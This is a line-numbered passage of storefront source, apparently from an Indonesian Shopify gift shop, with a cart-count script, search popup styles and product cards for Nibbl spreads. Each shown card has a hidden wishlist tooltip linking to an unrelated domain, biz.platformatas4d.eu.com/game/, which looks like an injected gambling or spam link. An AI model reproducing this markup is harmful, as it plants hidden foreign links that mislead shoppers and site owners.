705      $(".nav-menu .has-child").removeClass("menu-open")
706      $(".nav-menu .megamenu").slideUp()
707      $(".dropdown-menu .has-submenu").removeClass("submenu-open")
708      $(".dropdown-menu .grandchild").slideUp()
709      $(".dropdown-menu .chevron-right").css('transform', 'rotate(0deg)')
710  })
711
712  // Update cart count
713  function updateCartCount() {
714    fetch('/cart.js')
715      .then(response => response.json())
716      .then(cart => {
717        const cartCount = cart.item_count;
718        const cartCountEl = $('.cart-count');
719        
720        if (cartCount > 0) {
721          cartCountEl.text(cartCount).show();
722        } else {
723          cartCountEl.hide();
724        }
725      })
726      .catch(error => console.error('Error fetching cart:', error));
727  }
728
729  // Initialize cart count on page load
730  $(document).ready(function() {
731    updateCartCount();
732    
733    // Listen for cart changes
734    document.addEventListener('cart-updated', updateCartCount);
735  });
736</script>
736
737
738
739</div>
740
741      <div id="shopify-section-search-popup" class="shopify-section m-0"><style>
742  #search-trigger {
743    cursor: pointer;
744  }
745  #search-popup {
746    display: none;
747    position: fixed;
748    left: 0;
749    width: 100%;
750    top: 0;
751    height: 100%;
752    justify-content: center;
753    z-index: 9999;
754    background: rgb(196 196 196 / 30%);
755  }
756  #search-input {
757    align-self: center;
758    width: 100%;
759    height: 80px;
760    position: absolute;
761    top: 0;
762    border-bottom: 0.5px solid #A3A3A3;
763    background-color: #fff;
764  }
765  #search-input * {
766    align-self: center;
767  }
768  #search-type {
769    width: 100%;
770    border: none;
771    padding-right: 20px;
772    padding-left: 20px;
773    font-size: 16px;
774    color: #757575;
775  }
776  #search-btn {
777    font-size: 16px;
778    font-weight: 500;
779  }
780  #search-result {
781    background-color: #fff;
782    min-height: 490px;
783    width: 100%;
784    padding-top: 80px;
785  }
786  #search-result .container {
787    padding: 20px 40px;
788  }
789  body.search-popup-open {
790    overflow: hidden;
791  }
792  .search-popup-open #loc_delivery {
793    display: none
794  }
795  .search-header svg {
796    display: none;
797    cursor: pointer;
798  }
799  .wrapper-search-popup {
800    max-height: calc(100vh - 150px);
801    overflow-y: auto;
802    overflow-x: hidden;
803  }
804
805  .group-recommend {
806    padding: 20px 40px;
807  }
808
809  .resultsearch {
810    display: none;
811  }
812  .results { padding: 20px 40px }
813  .resultsearch label {
814    font-weight: 600;
815    padding-bottom: 20px;
816    display: block;
817    margin-bottom: 20px;
818    border-bottom: 1px solid #AAAAAA;
819  }
820
821  ul.result_collection {
822    overflow: auto;
823  }
824
825  .skeleton-loader {
826    padding: 10px 0;
827  }
828
829  .skeleton-item {
830    height: 20px;
831    background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
832    background-size: 200% 100%;
833    animation: loading 1.5s infinite;
834    margin-bottom: 12px;
835    border-radius: 4px;
836  }
837
838  .skeleton-product-card {
839    display: flex;
840    flex-direction: column;
841    margin-bottom: 15px;
842  }
843
844  .skeleton-product-image {
845    width: 100%;
846    aspect-ratio: 1;
847    background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
848    background-size: 200% 100%;
849    animation: loading 1.5s infinite;
850    border-radius: 4px;
851    margin-bottom: 10px;
852  }
853
854  .skeleton-product-title {
855    height: 16px;
856    background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
857    background-size: 200% 100%;
858    animation: loading 1.5s infinite;
859    border-radius: 4px;
860    margin-bottom: 8px;
861  }
862
863  .skeleton-product-price {
864    height: 14px;
865    width: 60%;
866    background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
867    background-size: 200% 100%;
868    animation: loading 1.5s infinite;
869    border-radius: 4px;
870  }
871
872  @keyframes loading {
873    0% {
874      background-position: 200% 0;
875    }
876    100% {
877      background-position: -200% 0;
878    }
879  }
880
881  ul.result_product {
882    max-height: 400px;
883    overflow: auto;
884    list-style: none;
885    padding: 0;
886    display: grid;
887    grid-template-columns: repeat(2, 1fr);
888    gap: 15px;
889  }
890
891  ul.result_product li.item {
892    margin-bottom: 0;
893  }
894
895  ul.result_product .item_url {
896    display: block;
897    text-decoration: none;
898    color: inherit;
899  }
900
901  ul.result_product .product-card-search {
902    display: flex;
903    flex-direction: row;
904    height: 100%;
905    text-transform: uppercase;
906    text-align: left;
907    gap: 12px;
908  }
909
910  ul.result_product .product-image-search {
911    width: 100px;
912    height: 100px;
913    flex-shrink: 0;
914    object-fit: cover;
915  }
916
917  ul.result_product .product-info-search {
918    display: flex;
919    flex-direction: column;
920    justify-content: center;
921    flex: 1;
922  }
923
924  ul.result_product .product-title-search {
925    font-size: 14px;
926    line-height: 1.4;
927    margin-bottom: 8px;
928    overflow: hidden;
929    text-overflow: ellipsis;
930    display: -webkit-box;
931    -webkit-line-clamp: 2;
932    -webkit-box-orient: vertical;
933  }
934
935  ul.result_product .product-price-search {
936    font-size: 13px;
937    color: #666;
938    font-weight: 500;
939  }
940
941  .group-promotion ul {
942    margin: 0;
943  }
944  .group-promotion li {
945    list-style: none;
946    margin-bottom: 12px;
947  }
948  .group-promotion li a {
949    color: inherit;
950  }
951
952  .group-recent {
953    position: relative;
954    padding: 20px 40px;
955  }
956  .group-recent ul {
957    margin: 0;
958  }
959  .group-recent li {
960    list-style: none;
961    display: inline-block;
962    margin-right: 60px;
963  }
964  .group-recent li a {
965    color: inherit;
966  }
967
968  .last-search svg {
969    width: 20px;
970    vertical-align: middle;
971  }
972  ul.last-search a {
973    vertical-align: middle;
974    padding: 0 10px;
975  }
976  ul.last-search li span {
977    cursor: pointer;
978  }
979  .delete-all-history {
980    position: absolute;
981    top: 25px;
982    right: 40px;
983    text-decoration: underline;
984    color: #e11d1d;
985    cursor: pointer;
986    font-size: 12px;
987  }
988
989  form.search.search-modal__form {
990    position: relative;
991  }
992
993  button.search__button svg {
994    width: 25px;
995    color: #495057;
996    fill: #757582;
997  }
998
999  button.search__button.field__button {
1000    position: absolute;
1001    top: 50%;
1002    margin-top: -12px;
1003  }
1004
1005  .close-search {
1006    display: none;
1007    position: absolute;
1008    right: 65px;
1009    top: 10px;
1010    cursor: pointer;
1011  }
1012
1013  .site-overlay {
1014    position: fixed;
1015    top: 0;
1016    width: 100vw;
1017    height: 100vh;
1018    z-index: 1000;
1019    background: #0000005c;
1020    visibility: hidden;
1021    opacity: 0;
1022    pointer-events: none;
1023    transition: all .3s linear;
1024    display: block !important;
1025  }
1026
1027  .search-popup-open .site-overlay {
1028    opacity: 1;
1029    visibility: visible;
1030    pointer-events: all;
1031    z-index: -1;
1032    cursor: pointer;
1033  }
1034
1035  @media (min-width: 991px) {
1036    .group-recent ul {
1037      column-count: 3;
1038    }
1039    .group-promotion li a {
1040      font-size: 12px;
1041      font-weight: 400;
1042    }
1043    .group-recent li a {
1044      font-size: 12px;
1045      font-weight: 400;
1046    }
1047    ul.result_product {
1048      grid-template-columns: repeat(3, 1fr);
1049      gap: 20px;
1050    }
1051  }
1052
1053  .moreresult {
1054    padding: 10px 40px;
1055    border-top: 1px solid #AAAAAA;
1056  }
1057  .moreresult * {
1058    align-self: center;
1059  }
1060  .moreresult p {
1061    margin: 0;
1062    font-size: 12px !important;
1063  }
1064  .moreresult svg {
1065    width: 13px;
1066  }
1067
1068  @media (max-width: 992px) {
1069    .icon-key-mobile {
1070        height: auto!important;
1071        width: 10px!important;
1072    }
1073    body.grid-view.search-popup-open .products {
1074      -ms-flex: 0 0 100%!important;
1075      flex: 0 0 100%!important;
1076      max-width: 100%!important;
1077    }
1078    button.search__button svg {
1079      width: 20px;
1080    }
1081    #search-result {
1082      padding-left: 0;
1083      padding-right: 0;
1084    }
1085    #search-result {
1086      padding-top: 55px;
1087    }
1088    #search-input {
1089      height: 55px;
1090    }
1091    .group-recommend {
1092      padding: 20px;
1093    }
1094    
1095    #search-type, #search-btn {
1096      font-size: 12px;
1097    }
1098    #search-input {
1099        height: 40px;
1100    }
1101    #search-result {
1102      padding-top: 40px;
1103    }
1104    .close-search {
1105      right: 50px;
1106      top: 6px;
1107    }
1108    #search-input svg {
1109      width: 15px;
1110    }
1111    .result_product li a {
1112      font-size: 12px;
1113    }
1114    ul.result_product li img {
1115      width: 110px !important;
1116    }
1117    .resultsearch label {
1118      font-size: 14px;
1119      margin-bottom: 15px;
1120      padding-bottom: 15px;
1121    }
1122    #search-input .container {
1123      padding: 0 20px;
1124    }
1125    #search-type {
1126      font-size: 14px;
1127    }
1128    #search-btn {
1129      font-size: 12px;
1130      text-decoration: underline;
1131    }
1132    .results {
1133      padding: 15px;
1134    }
1135    .group-recommend h3 {
1136      font-size: 16px;
1137    }
1138    .products .card-body {
1139      padding: 8px 0px 10px;
1140    }
1141    .moreresult {
1142      padding: 10px 20px;
1143    }    
1144    ul.result_product {
1145      grid-template-columns: repeat(1, 1fr);
1146      gap: 10px;
1147    }
1148    ul.result_product .product-image-search {
1149      width: 80px;
1150      height: 80px;
1151    }
1152    ul.result_product .product-card-search {
1153      gap: 10px;
1154    }
1155    ul.result_product .product-title-search {
1156      font-size: 12px;
1157      margin-bottom: 6px;
1158    }
1159    ul.result_product .product-price-search {
1160      font-size: 11px;
1161    }  
1162    .group-promotion li a {
1163      font-size: 14px;
1164    }
1165    ul.result_collection {
1166      max-height: 200px;
1167    }
1168  }
1169</style>
1170<div id="search-popup">
1171  <div id="search-input" class="row">
1172    <div class="container w-100">
1173      <form
1174        action="/search"
1175        method="get"
1176        role="search"
1177        class="search search-modal__form d-flex justify-content-between"
1178      >
1179        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 20 20" fill="none">
1180  <path d="M18.7327 19.513L11.427 12.2073C10.8437 12.7043 10.1729 13.0889 9.41454 13.3612C8.65621 13.6334 7.89398 13.7695 7.12787 13.7695C5.25965 13.7695 3.67843 13.1228 2.3842 11.8293C1.08998 10.5359 0.442871 8.95505 0.442871 7.08683C0.442871 5.2186 1.0892 3.63699 2.38187 2.34199C3.67454 1.04699 5.25498 0.398714 7.12321 0.397159C8.99143 0.395603 10.5734 1.04271 11.8692 2.33849C13.165 3.63427 13.8129 5.21588 13.8129 7.08333C13.8129 7.89377 13.6694 8.67816 13.3824 9.43649C13.0954 10.1948 12.7182 10.8435 12.2507 11.3825L19.5564 18.687L18.7327 19.513ZM7.12904 12.6017C8.67682 12.6017 9.98348 12.0689 11.049 11.0033C12.1146 9.93777 12.6474 8.63071 12.6474 7.08216C12.6474 5.5336 12.1146 4.22694 11.049 3.16216C9.98348 2.09738 8.67682 1.5646 7.12904 1.56383C5.58126 1.56305 4.2742 2.09583 3.20787 3.16216C2.14154 4.22849 1.60876 5.53516 1.60954 7.08216C1.61032 8.62916 2.14309 9.93583 3.20787 11.0022C4.27265 12.0685 5.57932 12.6013 7.12787 12.6005" fill="#212121"/>
1181</svg>
1182
1183        <input type="hidden" name="type" value="product">
1184        <input
1185          type="text"
1186          id="search-type"
1187          name="q"
1188          class="search-popup"
1189          placeholder="Gifts that linger: Uncover treasures for cherished moments."
1190        >
1191        <div class="close-search"><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18" fill="none">
1192  <path d="M9 9.708L12.246 12.954C12.3393 13.0473 12.454 13.0973 12.59 13.104C12.726 13.1107 12.8473 13.0607 12.954 12.954C13.0607 12.8473 13.114 12.7293 13.114 12.6C13.114 12.4707 13.0607 12.3527 12.954 12.246L9.708 9L12.954 5.754C13.0473 5.66067 13.0973 5.546 13.104 5.41C13.1107 5.274 13.0607 5.15267 12.954 5.046C12.8473 4.93933 12.7293 4.886 12.6 4.886C12.4707 4.886 12.3527 4.93933 12.246 5.046L9 8.292L5.754 5.046C5.66067 4.95267 5.546 4.90267 5.41 4.896C5.274 4.88933 5.15267 4.93933 5.046 5.046C4.93933 5.15267 4.886 5.27067 4.886 5.4C4.886 5.52933 4.93933 5.64733 5.046 5.754L8.292 9L5.046 12.246C4.95267 12.3393 4.90267 12.4543 4.896 12.591C4.88933 12.7263 4.93933 12.8473 5.046 12.954C5.15267 13.0607 5.27067 13.114 5.4 13.114C5.52933 13.114 5.64733 13.0607 5.754 12.954L9 9.708ZM9.003 18C7.75833 18 6.58833 17.764 5.493 17.292C4.39767 16.8193 3.44467 16.178 2.634 15.368C1.82333 14.558 1.18167 13.606 0.709 12.512C0.236333 11.418 0 10.2483 0 9.003C0 7.75767 0.236333 6.58767 0.709 5.493C1.181 4.39767 1.82133 3.44467 2.63 2.634C3.43867 1.82333 4.391 1.18167 5.487 0.709C6.583 0.236333 7.753 0 8.997 0C10.241 0 11.411 0.236333 12.507 0.709C13.6023 1.181 14.5553 1.82167 15.366 2.631C16.1767 3.44033 16.8183 4.39267 17.291 5.488C17.7637 6.58333 18 7.753 18 8.997C18 10.241 17.764 11.411 17.292 
119212.507C16.82 13.603 16.1787 14.556 15.368 15.366C14.5573 16.176 13.6053 16.8177 12.512 17.291C11.4187 17.7643 10.249 18.0007 9.003 18ZM9 17C11.2333 17 13.125 16.225 14.675 14.675C16.225 13.125 17 11.2333 17 9C17 6.76667 16.225 4.875 14.675 3.325C13.125 1.775 11.2333 1 9 1C6.76667 1 4.875 1.775 3.325 3.325C1.775 4.875 1 6.76667 1 9C1 11.2333 1.775 13.125 3.325 14.675C4.875 16.225 6.76667 17 9 17Z" fill="#757575"/>
1193</svg>
1194</div>
1195        <button id="search-btn">Search</button>
1196      </form>
1197    </div>
1198  </div>
1199  <div id="search-result" class="m-auto">
1200    <div class="container p-0">
1201      <div class="group-promotion">
1202        <div class="resultsearch">
1203          <div class="row results">
1204            <div class="col-12 col-lg-3 mb-3 mb-lg-0">
1205              <label>SUGGESTIONS</label>
1206              <ul class="result_collection"></ul>
1207            </div>
1208            <div class="col-12 col-lg-9">
1209              <label>PRODUCTS</label>
1210              <ul class="result_product"></ul>
1211            </div>
1212          </div>
1213          <div class="d-flex moreresult m-0">
1214            <p>Search for<span></span></p>
1215            <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
1216<title>icon-arrow-right</title>
1217<path d="M25.057 15.333l-6.862-6.862c-0.26-0.26-0.26-0.682 0-0.943s0.682-0.26 0.943 0l8 8c0.26 0.26 0.26 0.682 0 0.943l-8 8c-0.26 0.26-0.682 0.26-0.943 0s-0.26-0.682 0-0.943l6.862-6.862h-19.724c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h19.724z"></path>
1218</svg>
1219          </div>
1220        </div>
1221      </div>
1222      <div class="group-recent hide">
1223        <h3>RECENT SEARCH</h3>
1224        <span class="delete-all-history">Hapus riwayat</span>
1225        <ul class="last-search"></ul>
1226      </div>
1227      <div class="group-recommend">
1228        <h3>YOU MAY ALSO LIKE</h3>
1229        
1230        
1231          <div class="row popup-recommend c-products-grid infinite-case product-multi-">
1232            <div class="swiper-wrapper justify-content-between" style="margin-left:1px;">
1233              
1234                
1235                  <div class="swiper-slide card">
1236                    
1237
1238
1239
1240<div class="products" data-lazy="false">
1241  <div class="bg-products">
1242    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="nibbl-the-jam-that-stole-breakfast">
1243      <div class="wishlist-icon-wrapper">
1244  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1245    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
124511233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1246  </svg>
1247  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1248    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1249  </svg>
1250</div>
1251    </button>
1252    <a href="/products/nibbl-the-jam-that-stole-breakfast">
1253      
1254      <div class="product-card-img-container p-0 position-relative">
1255        
1256        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/The-Jam-That-Stole-Breakfast_350x.jpg?v=1761737780" data-src="https://outerbloom.com/cdn/shop/files/The-Jam-That-Stole-Breakfast_350x.jpg?v=1761737780" alt="Nibbl The Jam That Stole Breakfast" height="200" width="200">
1257        
1258      </div>
1259      <div class="card-body product-card-info">
1260        <h5 class="h5 mb-0">
1261          Nibbl The Jam That Stole Breakfast
1262        </h5>
1263        <div class="product-card-price">
1264          
1265          <div class="product-price-sale">
1266            <s class="product-card-price-before card-money">Rp 155.000</s>
1267            <span class="product-card-discount small">	
1268              (-45%)
1269            </span> 	
1270          </div>
1271          
1272          
1273          
1274          <div class="price-discount">
1275            <h4 class="product-card-price-after card-money">Rp 85.000</h4>
1276          </div>
1277          
1278          
1279          
1280          
1281          
1282        </div>
1283        
1284      </div>
1285    </a>
1286  </div>
1287  
1288   
1289  <div class="wishlist-tooltip" style="display:none;">
1290    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1291  </div>
1292</div>
1293
1294                  </div>
1295                
1296              
1297                
1298                  <div class="swiper-slide card">
1299                    
1300
1301
1302
1303<div class="products" data-lazy="false">
1304  <div class="bg-products">
1305    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="nibbl-choco-nutocalypse">
1306      <div class="wishlist-icon-wrapper">
1307  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1308    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
130811233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1309  </svg>
1310  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1311    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1312  </svg>
1313</div>
1314    </button>
1315    <a href="/products/nibbl-choco-nutocalypse">
1316      
1317      <div class="product-card-img-container p-0 position-relative">
1318        
1319        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/Choco-Nutocalypse_b93c4d9f-8210-4454-9b3f-419d0040ff31_350x.jpg?v=1761789600" data-src="https://outerbloom.com/cdn/shop/files/Choco-Nutocalypse_b93c4d9f-8210-4454-9b3f-419d0040ff31_350x.jpg?v=1761789600" alt="Nibbl Choco Nutocalypse" height="200" width="200">
1320        
1321      </div>
1322      <div class="card-body product-card-info">
1323        <h5 class="h5 mb-0">
1324          Nibbl Choco Nutocalypse
1325        </h5>
1326        <div class="product-card-price">
1327          
1328          <div class="product-price-sale">
1329            <s class="product-card-price-before card-money">Rp 155.000</s>
1330            <span class="product-card-discount small">	
1331              (-45%)
1332            </span> 	
1333          </div>
1334          
1335          
1336          
1337          <div class="price-discount">
1338            <h4 class="product-card-price-after card-money">Rp 85.000</h4>
1339          </div>
1340          
1341          
1342          
1343          
1344          
1345        </div>
1346        
1347      </div>
1348    </a>
1349  </div>
1350  
1351   
1352  <div class="wishlist-tooltip" style="display:none;">
1353    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1354  </div>
1355</div>
1356
1357                  </div>
1358                
1359              
1360                
1361                  <div class="swiper-slide card">
1362                    
1363
1364
1365
1366<div class="products" data-lazy="false">
1367  <div class="bg-products">
1368    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="nibbl-pistachio-promises-at-3am">
1369      <div class="wishlist-icon-wrapper">
1370  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1371    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
137111233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1372  </svg>
1373  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1374    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1375  </svg>
1376</div>
1377    </button>
1378    <a href="/products/nibbl-pistachio-promises-at-3am">
1379      
1380      <div class="product-card-img-container p-0 position-relative">
1381        
1382        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/Pistachio-Promises-at-3AM_8d54b983-3e48-4377-90a0-fdf078746a00_350x.jpg?v=1761789808" data-src="https://outerbloom.com/cdn/shop/files/Pistachio-Promises-at-3AM_8d54b983-3e48-4377-90a0-fdf078746a00_350x.jpg?v=1761789808" alt="Nibbl Pistachio Promises at 3AM" height="200" width="200">
1383        
1384      </div>
1385      <div class="card-body product-card-info">
1386        <h5 class="h5 mb-0">
1387          Nibbl Pistachio Promises at 3AM
1388        </h5>
1389        <div class="product-card-price">
1390          
1391          <div class="product-price-sale">
1392            <s class="product-card-price-before card-money">Rp 195.000</s>
1393            <span class="product-card-discount small">	
1394              (-49%)
1395            </span> 	
1396          </div>
1397          
1398          
1399          
1400          <div class="price-discount">
1401            <h4 class="product-card-price-after card-money">Rp 99.000</h4>
1402          </div>
1403          
1404          
1405          
1406          
1407          
1408        </div>
1409        
1410      </div>
1411    </a>
1412  </div>
1413  
1414   
1415  <div class="wishlist-tooltip" style="display:none;">
1416    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1417  </div>
1418</div>
1419
1420                  </div>
1421                
1422              
1423                
1424                  <div class="swiper-slide card">
1425                    
1426
1427
1428
1429<div class="products" data-lazy="false">
1430  <div class="bg-products">
1431    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="nibbl-winter-spice-everything-nice">
1432      <div class="wishlist-icon-wrapper">
1433  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1434    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
143411233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1435  </svg>
1436  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
